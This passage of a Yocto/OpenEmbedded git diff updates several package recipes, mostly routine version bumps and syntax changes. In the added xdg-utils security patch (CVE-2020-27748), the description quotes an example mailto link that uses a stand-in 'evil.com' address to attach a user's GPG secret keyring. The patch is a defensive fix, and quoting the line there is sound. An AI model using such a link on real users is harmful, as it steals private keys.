-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-
-LICENSE = "GPL-2.0+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ecc0551bf54ad97f6b541720f84d6569"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
- file://0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch \
- file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \
- file://watchdog.init \
- file://wd_keepalive.init \
-"
-
-SRC_URI[md5sum] = "678c32f6f35a0492c9c1b76b4aa88828"
-SRC_URI[sha256sum] = "ffdc865137ad5d8e53664bd22bad4de6ca136d1b4636720320cb52af0c18947c"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
-UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools update-rc.d systemd pkgconfig
-
-DEPENDS += "libtirpc"
-CFLAGS += "-I${STAGING_INCDIR}/tirpc"
-LDFLAGS += "-ltirpc"
-
-EXTRA_OECONF += " --disable-nfs "
-
-INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
-
-INITSCRIPT_NAME_${PN} = "watchdog"
-INITSCRIPT_PARAMS_${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
-
-INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive"
-INITSCRIPT_PARAMS_${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
-
-SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
-SYSTEMD_SERVICE_${PN} = "watchdog.service"
-SYSTEMD_SERVICE_${PN}-keepalive = "wd_keepalive.service"
-# When using systemd, consider making use of internal watchdog support of systemd.
-# See RuntimeWatchdogSec in /etc/systemd/system.conf.
-SYSTEMD_AUTO_ENABLE = "disable"
-
-do_install_append() {
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
-
- install -Dm 0755 ${WORKDIR}/watchdog.init ${D}/${sysconfdir}/init.d/watchdog
- install -Dm 0755 ${WORKDIR}/wd_keepalive.init ${D}${sysconfdir}/init.d/wd_keepalive
-
- # watchdog.conf is provided by the watchdog-config recipe
- rm ${D}${sysconfdir}/watchdog.conf
-}
-
-PACKAGES =+ "${PN}-keepalive"
-
-FILES_${PN}-keepalive = " \
- ${sysconfdir}/init.d/wd_keepalive \
- ${systemd_system_unitdir}/wd_keepalive.service \
- ${sbindir}/wd_keepalive \
-"
-
-RDEPENDS_${PN} += "${PN}-config"
-RRECOMMENDS_${PN} += "kernel-module-softdog"
-
-RDEPENDS_${PN}-keepalive += "${PN}-config"
-RCONFLICTS_${PN}-keepalive += "${PN}"
-RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
new file mode 100644
index 0000000000..1163846ed8
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb
@@ -0,0 +1,77 @@
+SUMMARY = "Software watchdog"
+DESCRIPTION = "Watchdog is a daemon that checks if your system is still \
+working. If programs in user space are not longer executed \
+it will reboot the system."
+HOMEPAGE = "http://watchdog.sourceforge.net/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
+ file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \
+ file://watchdog.init \
+ file://wd_keepalive.init \
+ file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \
+"
+
+SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f"
+SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d"
+
+# Can be dropped when the output next changes, avoids failures after
+# reproducibility issues
+PR = "r1"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
+UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+DEPENDS += "libtirpc"
+CFLAGS += "-I${STAGING_INCDIR}/tirpc"
+LDFLAGS += "-ltirpc"
+
+EXTRA_OECONF += " --disable-nfs "
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
+
+INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
+
+INITSCRIPT_NAME:${PN} = "watchdog"
+INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+
+INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
+INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+
+SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
+SYSTEMD_SERVICE:${PN} = "watchdog.service"
+SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
+# When using systemd, consider making use of internal watchdog support of systemd.
+# See RuntimeWatchdogSec in /etc/systemd/system.conf.
+SYSTEMD_AUTO_ENABLE = "disable"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
+
+ install -Dm 0755 ${WORKDIR}/watchdog.init ${D}/${sysconfdir}/init.d/watchdog
+ install -Dm 0755 ${WORKDIR}/wd_keepalive.init ${D}${sysconfdir}/init.d/wd_keepalive
+
+ # watchdog.conf is provided by the watchdog-config recipe
+ rm ${D}${sysconfdir}/watchdog.conf
+}
+
+PACKAGES =+ "${PN}-keepalive"
+
+FILES:${PN}-keepalive = " \
+ ${sysconfdir}/init.d/wd_keepalive \
+ ${systemd_system_unitdir}/wd_keepalive.service \
+ ${sbindir}/wd_keepalive \
+"
+
+RDEPENDS:${PN} += "${PN}-config"
+RRECOMMENDS:${PN} += "kernel-module-softdog"
+
+RDEPENDS:${PN}-keepalive += "${PN}-config"
+RCONFLICTS:${PN}-keepalive += "${PN}"
+RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
index 2338328216..58cb5ca73d 100644
--- a/meta/recipes-extended/wget/wget.inc
+++ b/meta/recipes-extended/wget/wget.inc
@@ -6,22 +6,24 @@ The program supports recursive retrieval of web-authoring pages as well as \
FTP sites"
HOMEPAGE = "https://www.gnu.org/software/wget/"
SECTION = "console/network"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
inherit autotools gettext texinfo update-alternatives pkgconfig
+DEPENDS += "autoconf-archive"
+
EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
--disable-rpath"
EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
-ALTERNATIVE_${PN} = "wget"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+ALTERNATIVE:${PN} = "wget"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_PRIORITY = "100"
-RRECOMMENDS_${PN} += "ca-certificates"
+RRECOMMENDS:${PN} += "ca-certificates"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
index 8781df21c0..050fc2c7e1 100644
--- a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
+++ b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
@@ -34,6 +34,11 @@ Link: gcc -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+sed use of DEBUG_PREFIX_MAP must treat whitespace the same as the
+echo command building version.c or the expression match will fail.
+
+Signed-off-by: Joe Slater <jslater@windriver.com>
---
src/Makefile.am | 4 ++++
1 file changed, 4 insertions(+)
@@ -47,12 +52,12 @@ index 28c0be2..44084a3 100644
echo 'const char *version_string = "@VERSION@";' >> $@
echo 'const char *compilation_string = "'$(COMPILE)'";' \
+ | sed -e "s,$(TOOLCHAIN_OPTIONS),,g" \
-+ -e "s,$(DEBUG_PREFIX_MAP),,g" \
++ -e "s,$$(echo $(DEBUG_PREFIX_MAP)),,g" \
| $(ESCAPEQUOTE) >> $@
echo 'const char *link_string = "'$(CCLD) $(AM_CFLAGS) $(CFLAGS) \
$(AM_LDFLAGS) $(LDFLAGS) $(LIBS) $(wget_LDADD)'";' \
+ | sed -e "s,$(TOOLCHAIN_OPTIONS),,g" \
-+ -e "s,$(DEBUG_PREFIX_MAP),,g" \
++ -e "s,$$(echo $(DEBUG_PREFIX_MAP)),,g" \
| $(ESCAPEQUOTE) >> $@
css.c: $(srcdir)/css.l
diff --git a/meta/recipes-extended/wget/wget_1.20.3.bb b/meta/recipes-extended/wget/wget_1.20.3.bb
deleted file mode 100644
index 4fa273d093..0000000000
--- a/meta/recipes-extended/wget/wget_1.20.3.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
- file://0002-improve-reproducibility.patch \
- "
-
-SRC_URI[md5sum] = "db4e6dc7977cbddcd543b240079a4899"
-SRC_URI[sha256sum] = "31cccfc6630528db1c8e3a06f6decf2a370060b982841cfab2b8677400a5092e"
-
-require wget.inc
diff --git a/meta/recipes-extended/wget/wget_1.21.3.bb b/meta/recipes-extended/wget/wget_1.21.3.bb
new file mode 100644
index 0000000000..f176a1546c
--- /dev/null
+++ b/meta/recipes-extended/wget/wget_1.21.3.bb
@@ -0,0 +1,7 @@
+SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
+ file://0002-improve-reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "5726bb8bc5ca0f6dc7110f6416e4bb7019e2d2ff5bf93d1ca2ffcc6656f220e5"
+
+require wget.inc
diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb
index fac0fd3944..c8a50735b1 100644
--- a/meta/recipes-extended/which/which_2.21.bb
+++ b/meta/recipes-extended/which/which_2.21.bb
@@ -4,9 +4,9 @@ executables that bash(1) would execute when the passed \
program names would have been entered on the shell prompt. \
It does this by using the exact same algorithm as bash."
SECTION = "libs"
-HOMEPAGE = "http://carlo17.home.xs4all.nl/which/"
+HOMEPAGE = "https://carlowood.github.io/which/"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2"
DEPENDS = "cwautomacros-native"
@@ -24,12 +24,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a"
SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am
}
-ALTERNATIVE_${PN} = "which"
+ALTERNATIVE:${PN} = "which"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "which.1"
+ALTERNATIVE:${PN}-doc = "which.1"
ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 0000000000..948b9e22e9
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:sid@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ scripts/xdg-email.in | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
++++ b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+
+ run_thunderbird()
+ {
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+
+- if [ -n "$ATTACH" ] ; then
+- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+- fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
+--
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index 8e46638197..73acf6b744 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -17,9 +17,10 @@ xdg-terminal \
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
-SRC_URI = "http://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
+SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+ file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
"
SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
@@ -28,10 +29,10 @@ SRC_URI[sha256sum] = "d798b08af8a8e2063ddde6c9fa3398ca81484f27dec642c5627ffcaa0d
UPSTREAM_CHECK_REGEX = "xdg-utils-(?P<pver>((\d+[\.\-_]*)+)((rc|alpha|beta)\d+)?)\.(tar\.gz|tgz)"
# Needs brokensep as this doesn't use automake
-inherit autotools-brokensep distro_features_check
+inherit autotools-brokensep features_check
# The xprop requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
DEPENDS = "xmlto-native libxslt-native"
-RDEPENDS_${PN} += "xprop"
+RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch b/meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch
deleted file mode 100644
index 3c1b2f6f0e..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From e8b0ffc7ea04cc71dba97a38e1a134aaf2285c2d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Dec 2015 07:14:50 +0000
-Subject: [PATCH] configure: Use HAVE_SYS_RESOURCE_H to guard sys/resource.h
- inclusion
-
-HAVE_RLIM_T check will not let sys/resource.h to be checked and
-rlim_t is defined in sys/resource.h so the check would fail.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- aclocal.m4 | 2 +-
- configure | 14 +++++++-------
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/aclocal.m4 b/aclocal.m4
-index 6e6f32c..70e7076 100644
---- a/aclocal.m4
-+++ b/aclocal.m4
-@@ -11,7 +11,7 @@ AC_CACHE_VAL(xinetd_cv_type_$1,
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-diff --git a/configure b/configure
-index b507d38..bec56ea 100755
---- a/configure
-+++ b/configure
-@@ -7640,7 +7640,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7686,7 +7686,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7732,7 +7732,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7778,7 +7778,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7824,7 +7824,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7870,7 +7870,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7916,7 +7916,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
---
-2.6.4
-
diff --git a/meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch b/meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch
deleted file mode 100644
index cd6e6c1078..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch
+++ /dev/null
@@ -1,86 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-From d588b6530e1382a624898b3f4307f636c72c80a9 Mon Sep 17 00:00:00 2001
-From: Pierre Habouzit <madcoder@debian.org>
-Date: Wed, 28 Nov 2007 10:13:08 +0100
-Subject: [PATCH] Disable services from inetd.conf if a service with the same id exists.
-
- This way, if a service is enabled in /etc/xinetd* _and_ in
-/etc/inetd.conf, the one (even if disabled) from /etc/xinetd* takes
-precedence.
-
-Signed-off-by: Pierre Habouzit <madcoder@debian.org>
----
- xinetd/inet.c | 22 +++++++++++++++++++---
- 1 files changed, 19 insertions(+), 3 deletions(-)
-
-diff --git a/xinetd/inet.c b/xinetd/inet.c
-index 1cb2ba2..8caab45 100644
---- a/xinetd/inet.c
-+++ b/xinetd/inet.c
-@@ -23,6 +23,8 @@
- #include "parsesup.h"
- #include "nvlists.h"
-
-+static psi_h iter ;
-+
- static int get_next_inet_entry( int fd, pset_h sconfs,
- struct service_config *defaults);
-
-@@ -32,12 +34,15 @@ void parse_inet_conf_file( int fd, struct configuration *confp )
- struct service_config *default_config = CNF_DEFAULTS( confp );
-
- line_count = 0;
-+ iter = psi_create (sconfs);
-
- for( ;; )
- {
- if (get_next_inet_entry(fd, sconfs, default_config) == -2)
- break;
- }
-+
-+ psi_destroy(iter);
- }
-
- static int get_next_inet_entry( int fd, pset_h sconfs,
-@@ -46,7 +51,7 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- char *p;
- str_h strp;
- char *line = next_line(fd);
-- struct service_config *scp;
-+ struct service_config *scp, *tmp;
- unsigned u, i;
- const char *func = "get_next_inet_entry";
- char *name = NULL, *rpcvers = NULL, *rpcproto = NULL;
-@@ -405,7 +410,16 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- SC_SPECIFY( scp, A_SOCKET_TYPE );
- SC_SPECIFY( scp, A_WAIT );
-
-- if( ! pset_add(sconfs, scp) )
-+ for ( tmp = SCP( psi_start( iter ) ) ; tmp ; tmp = SCP( psi_next(iter)) ){
-+ if (EQ(SC_ID(scp), SC_ID(tmp))) {
-+ parsemsg(LOG_DEBUG, func, "removing duplicate service %s", SC_NAME(scp));
-+ sc_free(scp);
-+ scp = NULL;
-+ break;
-+ }
-+ }
-+
-+ if( scp && ! pset_add(sconfs, scp) )
- {
- out_of_memory( func );
- pset_destroy(args);
-@@ -414,7 +428,9 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- }
-
- pset_destroy(args);
-- parsemsg( LOG_DEBUG, func, "added service %s", SC_NAME(scp));
-+ if (scp) {
-+ parsemsg( LOG_DEBUG, func, "added service %s", SC_NAME(scp));
-+ }
- return 0;
- }
-
---
-1.5.3.6.2040.g15e6
-
diff --git a/meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch b/meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch
deleted file mode 100644
index 8e59cdcaae..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-From a3410b0bc81ab03a889d9ffc14e351badf8372f1 Mon Sep 17 00:00:00 2001
-From: Pierre Habouzit <madcoder@debian.org>
-Date: Mon, 26 Nov 2007 16:02:04 +0100
-Subject: [PATCH] Various fixes from the previous maintainer.
-
----
- xinetd/child.c | 20 +++++++++++++++++---
- xinetd/service.c | 8 ++++----
- 2 files changed, 21 insertions(+), 7 deletions(-)
-
-diff --git a/xinetd/child.c b/xinetd/child.c
-index 89ee54c..48e9615 100644
---- a/xinetd/child.c
-+++ b/xinetd/child.c
-@@ -284,6 +284,7 @@ void child_process( struct server *serp )
- connection_s *cp = SERVER_CONNECTION( serp ) ;
- struct service_config *scp = SVC_CONF( sp ) ;
- const char *func = "child_process" ;
-+ int fd, null_fd;
-
- signal_default_state();
-
-@@ -296,9 +297,22 @@ void child_process( struct server *serp )
- signals_pending[0] = -1;
- signals_pending[1] = -1;
-
-- Sclose(0);
-- Sclose(1);
-- Sclose(2);
-+ if ( ( null_fd = open( "/dev/null", O_RDONLY ) ) == -1 )
-+ {
-+ msg( LOG_ERR, func, "open('/dev/null') failed: %m") ;
-+ _exit( 1 ) ;
-+ }
-+
-+ for ( fd = 0 ; fd <= MAX_PASS_FD ; fd++ )
-+ {
-+ if ( fd != null_fd && dup2( null_fd, fd ) == -1 )
-+ {
-+ msg( LOG_ERR, func, "dup2(%d, %d) failed: %m") ;
-+ _exit( 1 ) ;
-+ }
-+ }
-+ if ( null_fd > MAX_PASS_FD )
-+ (void) Sclose( null_fd ) ;
-
-
- #ifdef DEBUG_SERVER
-diff --git a/xinetd/service.c b/xinetd/service.c
-index 3d68d78..0132d6c 100644
---- a/xinetd/service.c
-+++ b/xinetd/service.c
-@@ -745,8 +745,8 @@ static status_e failed_service(struct service *sp,
- return FAILED;
-
- if ( last == NULL ) {
-- last = SAIN( calloc( 1, sizeof(union xsockaddr) ) );
-- SVC_LAST_DGRAM_ADDR(sp) = (union xsockaddr *)last;
-+ SVC_LAST_DGRAM_ADDR(sp) = SAIN( calloc( 1, sizeof(union xsockaddr) ) );
-+ last = SAIN( SVC_LAST_DGRAM_ADDR(sp) );
- }
-
- (void) time( &current_time ) ;
-@@ -772,8 +772,8 @@ static status_e failed_service(struct service *sp,
- return FAILED;
-
- if( last == NULL ) {
-- last = SAIN6(calloc( 1, sizeof(union xsockaddr) ) );
-- SVC_LAST_DGRAM_ADDR( sp ) = (union xsockaddr *)last;
-+ SVC_LAST_DGRAM_ADDR(sp) = SAIN6(calloc( 1, sizeof(union xsockaddr) ) );
-+ last = SAIN6(SVC_LAST_DGRAM_ADDR(sp));
- }
-
- (void) time( &current_time ) ;
---
-1.5.3.6.2040.g15e6
-
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch b/meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch
deleted file mode 100644
index 852a43f2de..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-xinetd: CVE-2013-4342
-
-xinetd does not enforce the user and group configuration directives
-for TCPMUX services, which causes these services to be run as root
-and makes it easier for remote attackers to gain privileges by
-leveraging another vulnerability in a service.
-http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4342
-
-the patch come from:
-https://bugzilla.redhat.com/attachment.cgi?id=799732&action=diff
-
-CVE: CVE-2013-4342
-Signed-off-by: Li Wang <li.wang@windriver.com>
-Upstream-Status: Backport
----
- xinetd/builtins.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/xinetd/builtins.c b/xinetd/builtins.c
-index 3b85579..34a5bac 100644
---- a/xinetd/builtins.c
-+++ b/xinetd/builtins.c
-@@ -617,7 +617,7 @@ static void tcpmux_handler( const struct server *serp )
- if( SC_IS_INTERNAL( scp ) ) {
- SC_INTERNAL(scp, nserp);
- } else {
-- exec_server(nserp);
-+ child_process(nserp);
- }
- }
-
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch b/meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch
deleted file mode 100644
index 2365ca123b..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch
+++ /dev/null
@@ -1,112 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-From f44b218ccc779ab3f4aed072390ccf129d94b58d Mon Sep 17 00:00:00 2001
-From: David Madore <david@pleiades.stars>
-Date: Mon, 24 Mar 2008 12:45:36 +0100
-Subject: [PATCH] xinetd should be able to listen on IPv6 even in -inetd_compat mode
-
-xinetd does not bind to IPv6 addresses (and does not seem to have an
-option to do so) when used in -inetd_compat mode. As current inetd's
-are IPv6-aware, this is a problem: this means xinetd cannot be used as
-a drop-in inetd replacement.
-
-The attached patch is a suggestion: it adds a -inetd_ipv6 global
-option that, if used, causes inetd-compatibility lines to have an
-implicit "IPv6" option. Perhaps this is not the best solution, but
-there should definitely be a way to get inetd.conf to be read in
-IPv6-aware mode.
----
- xinetd/confparse.c | 1 +
- xinetd/inet.c | 17 +++++++++++++++++
- xinetd/options.c | 3 +++
- xinetd/xinetd.man | 6 ++++++
- 4 files changed, 27 insertions(+), 0 deletions(-)
-
-diff --git a/xinetd/confparse.c b/xinetd/confparse.c
-index db9f431..d7b0bcc 100644
---- a/xinetd/confparse.c
-+++ b/xinetd/confparse.c
-@@ -40,6 +40,7 @@
- #include "inet.h"
- #include "main.h"
-
-+extern int inetd_ipv6;
- extern int inetd_compat;
-
- /*
-diff --git a/xinetd/inet.c b/xinetd/inet.c
